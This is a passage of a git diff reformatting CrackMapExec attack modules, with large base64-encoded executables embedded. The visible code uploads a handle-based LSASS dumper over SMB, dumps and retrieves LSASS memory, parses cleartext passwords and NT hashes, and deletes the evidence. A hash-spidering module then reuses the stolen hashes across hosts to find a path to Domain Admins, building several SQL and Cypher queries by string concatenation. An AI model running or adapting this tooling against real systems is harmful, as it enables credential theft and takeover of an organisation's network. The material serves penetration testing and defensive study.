AGglAQAAAAAAfiUBAAAAAACUJQEAAAAAAKQlAQAAAAAAsCUBAAAAAAC+JQEAAAAAAM4lAQAAAAAA4CUBAAAAAAD0JQEAAAAAAP4lAQAAAAAADCYBAAAAAAAWJgEAAAAAACImAQAAAAAALCYBAAAAAAA2JgEAAAAAAEImAQAAAAAASiYBAAAAAABUJgEAAAAAAF4mAQAAAAAAZiYBAAAAAABuJgEAAAAAAHgmAQAAAAAAgCYBAAAAAACKJgEAAAAAAJImAQAAAAAAmiYBAAAAAACkJgEAAAAAALImAQAAAAAAvCYBAAAAAADGJgEAAAAAANAmAQAAAAAA2iYBAAAAAADkJgEAAAAAAPAmAQAAAAAA+iYBAAAAAAAEJwEAAAAAAA4nAQAAAAAAGicBAAAAAAAAAAAAAAAAAAAkAQAAAAAAAAAAAAAAAAAYJAEAAAAAADAkAQAAAAAASCQBAAAAAABYJAEAAAAAAGokAQAAAAAAhiQBAAAAAACaJAEAAAAAALIkAQAAAAAAyCQBAAAAAADmJAEAAAAAAO4kAQAAAAAA/CQBAAAAAAAMJQEAAAAAAB4lAQAAAAAALiUBAAAAAABEJQEAAAAAAAAAAAAAAAAAUCUBAAAAAABoJQEAAAAAAH4lAQAAAAAAlCUBAAAAAACkJQEAAAAAALAlAQAAAAAAviUBAAAAAADOJQEAAAAAAOAlAQAAAAAA9CUBAAAAAAD+JQEAAAAAAAwmAQAAAAAAFiYBAAAAAAAiJgEAAAAAACwmAQAAAAAANiYBAAAAAABCJgEAAAAAAEomAQAAAAAAVCYBAAAAAABeJgEAAAAAAGYmAQAAAAAAbiYBAAAAAAB4JgEAAAAAAIAmAQAAAAAAiiYBAAAAAACSJgEAAAAAAJomAQAAAAAApCYBAAAAAACyJgEAAAAAALwmAQAAAAAAxiYBAAAAAADQJgEAAAAAANomAQAAAAAA5CYBAAAAAADwJgEAAAAAAPomAQAAAAAABCcBAAAAAAAOJwEAAAAAABonAQAAAAAAAAAAAAAAAADkAENyeXB0U3RyaW5nVG9CaW5hcnlBAAAbAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgA/AUVudGVyQ3JpdGljYWxTZWN0aW9uAAB2AkdldExhc3RFcnJvcgAA5wJHZXRTdGFydHVwSW5mb0EAfANJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAJcDSXNEQkNTTGVhZEJ5dGVFeAAA2ANMZWF2ZUNyaXRpY2FsU2VjdGlvbgAADARNdWx0aUJ5dGVUb1dpZGVDaGFyAHIFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAIIFU2xlZXAApQVUbHNHZXRWYWx1ZQDOBVZpcnR1YWxBbGxvYwAA1AVWaXJ0dWFsUHJvdGVjdAAA1gVWaXJ0dWFsUXVlcnkAAAsGV2lkZUNoYXJUb011bHRpQnl0ZQBLBmxzdHJsZW5BAAA4AF9fQ19zcGVjaWZpY19oYW5kbGVyAABAAF9fX2xjX2NvZGVwYWdlX2Z1bmMAQwBfX19tYl9jdXJfbWF4X2Z1bmMAAFIAX19nZXRtYWluYXJncwBTAF9faW5pdGVudgBUAF9faW9iX2Z1bmMAAFsAX19sY29udl9pbml0AABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAAB0BX2luaXR0ZXJtAIMBX2xvY2sAKQJfb25leGl0AMoCX3VubG9jawCKA2Fib3J0AJcDYXRvaQAAmwNjYWxsb2MAAKgDZXhpdAAAvANmcHJpbnRmAL4DZnB1dGMAwwNmcmVlAADQA2Z3cml0ZQAA+QNsb2NhbGVjb252AAD/A21hbGxvYwAABwRtZW1jcHkAAAkEbWVtc2V0AAAnBHNpZ25hbAAANgRzdHJjaHIAADwEc3RyZXJyb3IAAD4Ec3RybGVuAABBBHN0cm5jbXAARwRzdHJzdHIAAGMEdmZwcmludGYAAH0Ed2NzbGVuAAAAIAEAQ1JZUFQzMi5kbGwAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABAEtFUk5FTDMyLmRsbAAAAAAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEARQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAAAkBlAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4BlAAAAAAACwGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + ) self.handlekatz = "handlekatz.exe" self.handlekatz_path = "/tmp/" self.dir_result = self.handlekatz_path @@ -54,19 +55,17 @@ class CMEModule: if self.useembeded: with open(self.handlekatz_path + self.handlekatz, "wb") as handlekatz: handlekatz.write(self.handlekatz_embeded) - + context.log.display(f"Copy {self.handlekatz_path + self.handlekatz} to {self.tmp_dir}") with open(self.handlekatz_path + self.handlekatz, "rb") as handlekatz: try: connection.conn.putFile(self.share, self.tmp_share + self.handlekatz, handlekatz.read) - context.log.success( - f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}" - ) + context.log.success(f"[OPSEC] Created file {self.handlekatz} on the \\\\{self.share}{self.tmp_share}") except Exception as e: context.log.fail(f"Error writing file to share {self.share}: {e}") # get LSASS PID via `tasklist` - command = "tasklist /v /fo csv | findstr /i \"lsass\"" + command = 'tasklist /v /fo csv | findstr /i "lsass"' context.log.display(f"Getting lsass PID via command {command}") p = connection.execute(command, True) context.log.debug(f"Command Result: {p}") @@ -77,7 +76,7 @@ class CMEModule: context.log.fail(f"Failed to execute command to get LSASS PID") return # we get a CSV string back from `tasklist`, so we grab the PID from it - pid = p.split(',')[1][1:-1] + pid = p.split(",")[1][1:-1] context.log.debug(f"pid: {pid}") command = self.tmp_dir + self.handlekatz + " --pid:" + pid + " --outfile:" + self.tmp_dir + "%COMPUTERNAME%-%PROCESSOR_ARCHITECTURE%-%USERDOMAIN%.log" @@ -103,12 +102,10 @@ class CMEModule: machine_name = matches.group() context.log.display(f"Copy {machine_name} to host") - with open(self.dir_result + machine_name, 'wb+') as dump_file: + with open(self.dir_result + machine_name, "wb+") as dump_file: try: connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write) - context.log.success( - f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}" - ) + context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}") except Exception as e: context.log.fail(f"Error while get file: {e}") @@ -117,7 +114,7 @@ class CMEModule: context.log.success(f"Deleted handlekatz file on the {self.share} share") except Exception as e: context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}") - + try: connection.conn.deleteFile(self.share, self.tmp_share + machine_name) context.log.success(f"Deleted lsass.dmp file on the {self.share} share") @@ -131,8 +128,8 @@ class CMEModule: bytes_in_len = len(bytes_in) context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)") - - chunks = [bytes_in[i:i+1000000] for i in range(0, bytes_in_len, 1000000)] + + chunks = [bytes_in[i : i + 1000000] for i in range(0, bytes_in_len, 1000000)] for chunk in chunks: for i in range(0, len(chunk)): chunk[i] ^= 0x41 @@ -155,7 +152,7 @@ class CMEModule: "livessp_creds", "kerberos_creds", "credman_creds", - "tspkg_creds" + "tspkg_creds", ] for luid in pypy_parse.logon_sessions: for ssp in ssps: @@ -171,7 +168,12 @@ class CMEModule: context.log.highlight(domain + "\\" + username + ":" + print_pass) if "." not in domain and domain.upper() in connection.domain.upper(): domain = connection.domain - credz_bh.append({"username": username.upper(), "domain": domain.upper()}) + credz_bh.append( + { + "username": username.upper(), + "domain": domain.upper(), + } + ) if len(credz_bh) > 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: diff --git a/cme/modules/hash_spider.py b/cme/modules/hash_spider.py index 26f6160a..1862adc1 100644 --- a/cme/modules/hash_spider.py +++ b/cme/modules/hash_spider.py @@ -18,7 +18,7 @@ reported_da = [] def neo4j_conn(context, connection, driver): - if connection.config.get('BloodHound', 'bh_enabled') != "False": + if connection.config.get("BloodHound", "bh_enabled") != "False": context.log.display("Connecting to Neo4j/Bloodhound.") try: session = driver.session() @@ -40,8 +40,7 @@ def neo4j_local_admins(context, driver): global admin_results try: session = driver.session() - admins = session.run( - "MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts + admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts context.log.success("Admins and PCs obtained.") except Exception: context.log.fail("Could not pull admins") @@ -50,54 +49,64 @@ def neo4j_local_admins(context, driver): def create_db(local_admins, dbconnection, cursor): - cursor.execute( - '''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''') + cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""") for result in local_admins: - cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", - (result.get('COMPUTER'), str(result.get('USERS'), ), 'FALSE')) + cursor.execute( + "INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)", + ( + result.get("COMPUTER"), + str( + result.get("USERS"), + ), + "FALSE", + ), + ) dbconnection.commit() - cursor.execute('''CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)''') + cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""") admin_users = [] for result in local_admins: - for user in result.get('USERS'): + for user in result.get("USERS"): if user not in admin_users: admin_users.append(user) for user in admin_users: - cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user]) + cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user]) dbconnection.commit() def process_creds(context, connection, credentials_data, dbconnection, cursor, driver): if connection.args.local_auth: - context.log.extra['host'] = connection.conn.getServerDNSDomainName() + context.log.extra["host"] = connection.conn.getServerDNSDomainName() else: - context.log.extra['host'] = connection.domain - context.log.extra['hostname'] = connection.host.upper() + context.log.extra["host"] = connection.domain + context.log.extra["hostname"] = connection.host.upper() for result in credentials_data: - username = result["username"].upper().split('@')[0] + username = result["username"].upper().split("@")[0] nthash = result["nthash"] password = result["password"] if result["password"] is not None: - context.log.highlight( - f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") - cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) + context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.") + cursor.execute( + "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", + [password], + ) username = f"{username.upper()}@{context.log.extra['host'].upper()}" dbconnection.commit() session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') - if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0': + if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0": context.log.fail(f"Hash for {username} is expired.") elif username not in found_users and nthash is not None: - context.log.highlight( - f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") + context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.") found_users.append(username) - cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) + cursor.execute( + "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", + [nthash], + ) dbconnection.commit() username = f"{username.upper()}@{context.log.extra['host'].upper()}" session = driver.session() session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned') - path_to_da = session.run( - "MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") + path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p") paths = [record for record in path_to_da.data()] for path in paths: @@ -105,9 +114,9 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d for key, value in path.items(): for item in value: if type(item) == dict: - if {item['name']} not in reported_da: + if {item["name"]} not in reported_da: context.log.success(f"You have a valid path to DA as {item['name']}.") - reported_da.append({item['name']}) + reported_da.append({item["name"]}) exit() @@ -115,8 +124,14 @@ def initial_run(connection, cursor): username = connection.username password = getattr(connection, "password", "") nthash = getattr(connection, "nthash", "") - cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password]) - cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash]) + cursor.execute( + "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", + [password], + ) + cursor.execute( + "UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", + [nthash], + ) class CMEModule: @@ -139,18 +154,18 @@ class CMEModule: RESET_DUMPED Allows re-dumping of hosts. (Default: False) RESET Reset DB. (Default: False) """ - self.method = 'comsvcs' - if 'METHOD' in module_options: - self.method = module_options['METHOD'] - self.reset_dumped = module_options.get('RESET_DUMPED', False) - self.reset = module_options.get('RESET', False) + self.method = "comsvcs" + if "METHOD" in module_options: + self.method = module_options["METHOD"] + self.reset_dumped = module_options.get("RESET_DUMPED", False) + self.reset = module_options.get("RESET", False) def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor # lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown # lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours) # so what we do is define "success" as a logging level, then do nothing with the output - logging.addLevelName(25, 'SUCCESS') - setattr(logging, 'success', lambda message, *args: ()) + logging.addLevelName(25, "SUCCESS") + setattr(logging, "success", lambda message, *args: ()) host = connection.host domain_name = connection.domain @@ -167,7 +182,7 @@ class CMEModule: nthash=nthash, username=username, password=password, - domain=domain_name + domain=domain_name, ) if session.smb_session is None: context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.") @@ -190,9 +205,22 @@ class CMEModule: credentials_unique = [] credentials_output = [] for cred in credentials: - if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique: + if [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] not in credentials_unique: credentials_unique.append( - [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]]) + [ + cred["domain"], + cred["username"], + cred["password"], + cred["lmhash"], + cred["nthash"], + ] + ) credentials_output.append(cred) global credentials_data credentials_data = credentials_output @@ -209,34 +237,35 @@ class CMEModule: more_to_dump = cursor.fetchall() if len(more_to_dump) > 0: context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.") - connection.domain = user[0].split('@')[1] - setattr(connection, "host", pc[0].split('.')[0]) - setattr(connection, "username", user[0].split('@')[0]) + connection.domain = user[0].split("@")[1] + setattr(connection, "host", pc[0].split(".")[0]) + setattr(connection, "username", user[0].split("@")[0]) setattr(connection, "nthash", user[1]) setattr(connection, "nthash", user[1]) try: self.run_lsassy(context, connection, cursor) - cursor.execute( - "UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") + cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'") - process_creds(context, connection, credentials_data, dbconnection, cursor, driver) + process_creds( + context, + connection, + credentials_data, + dbconnection, + cursor, + driver, + ) self.spider_pcs(context, connection, cursor, dbconnection, driver) except Exception: context.log.fail(f"Failed to dump lsassy on {pc[0]}") if len(admin_access) > 0: - context.log.fail( - "No more local admin access known. Please try re-running Bloodhound with newly found accounts.") + context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.") exit() def on_admin_login(self, context, connection): - db_path = connection.config.get('CME', 'workspace') + db_path = connection.config.get("CME", "workspace") # DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default" db_name = f"hash_spider_{db_path}.sqlite3" - dbconnection = connect( - db_name, - check_same_thread=False, - isolation_level=None - ) + dbconnection = connect(db_name, check_same_thread=False, isolation_level=None) cursor = dbconnection.cursor() if self.reset: @@ -257,10 +286,10 @@ class CMEModule: context.log.fail("Database update error", str(e)) exit() - neo4j_user = connection.config.get('BloodHound', 'bh_user') - neo4j_pass = connection.config.get('BloodHound', 'bh_pass') - neo4j_uri = connection.config.get('BloodHound', 'bh_uri') - neo4j_port = connection.config.get('BloodHound', 'bh_port') + neo4j_user = connection.config.get("BloodHound", "bh_user") + neo4j_pass = connection.config.get("BloodHound", "bh_pass") + neo4j_uri = connection.config.get("BloodHound", "bh_uri") + neo4j_port = connection.config.get("BloodHound", "bh_port") neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}" driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False) neo4j_conn(context, connection, driver) diff --git a/cme/modules/impersonate.py b/cme/modules/impersonate.py index 4493a720..38c4733b 100644 --- a/cme/modules/impersonate.py +++ b/cme/modules/impersonate.py @@ -1,4 +1,4 @@ -# Impersonate module for CME +# Impersonate module for CME # Author of the module : https://twitter.com/Defte_ # Impersonate: [ REPO TO ADD ] # Token manipulation internals blog post [ LINK ] @@ -9,7 +9,6 @@ from os import path class CMEModule: - name = "impersonate" description = "List and impersonate tokens to run command as locally logged on users" supported_protocols = ["smb"] @@ -29,7 +28,9 @@ class CMEModule: self.impersonate = "Impersonate.exe" self.useembeded = True self.token = self.cmd = "" - self.impersonate_embedded = b64decode('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